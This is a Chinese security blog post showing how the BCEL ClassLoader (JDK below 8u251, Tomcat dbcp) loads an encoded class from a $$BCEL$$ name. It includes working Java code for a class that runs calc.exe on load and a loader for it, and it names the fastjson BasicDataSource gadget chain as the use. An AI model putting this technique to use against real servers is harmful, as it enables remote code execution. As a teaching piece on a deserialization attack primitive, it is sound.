BCEL:加载恶意类

直入主题

为啥要用BCEL?

  • 可以加载任意类(不一定要是依赖中的,可以是自己编写的恶意类)

  • 影响范围广,如下

JDK内置类(JDK < 8u251)
Tomcat中相关依赖:
Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource
Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

com.sun.org.apache.bcel.internal.util.ClassLoader重写了默认的类加载方法

当类名以$$BCEL$开头时,会对后续字符串进行解码操作,用 createClass() 方法拿到一个 JavaClass 对象,最终通过 defineClass() 加载字节码还原类。
com.sun.org.apache.bcel.internal.util.ClassLoader重写了默认的类加载方法

当类名以$$BCEL$$开头时,会对后续字符串进行解码操作,用 createClass() 方法拿到一个 JavaClass 对象,最终通过 defineClass() 加载字节码还原类。

编写代码

我们现编写一个恶意类,这个类很简单,在静态初始化模块执行calc即可

这样当类被加载时,就会执行calc,很nice

package org.example;

import java.io.IOException;

public class Calc {
        static {
            try {
                System.out.println("    [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
}

随后我们回到主函数,通过BCEL加载这个恶意类

package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Main {
    public static void main(String[] args) throws Exception {
        System.out.println("[+]低版本jdk可用BCEL,JDK < 8u251");
        System.out.println("[+]获取Calc类");
        JavaClass cls = Repository.lookupClass(Calc.class);

        System.out.println("[+]获取Calc类的编码");
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("    "+code);

        System.out.println("[+]使用BCEL的ClassLoader加载 $$BCEL$$ + Calc类的编码");
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

执行结果

image

用途

用在fastjson中org.apache.tomcat.dbcp.dbcp2.BasicDataSource链,用来加载恶意类


相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。


posted @ 2024-05-11 10:19  aixve  阅读(5)  评论(0编辑  收藏  举报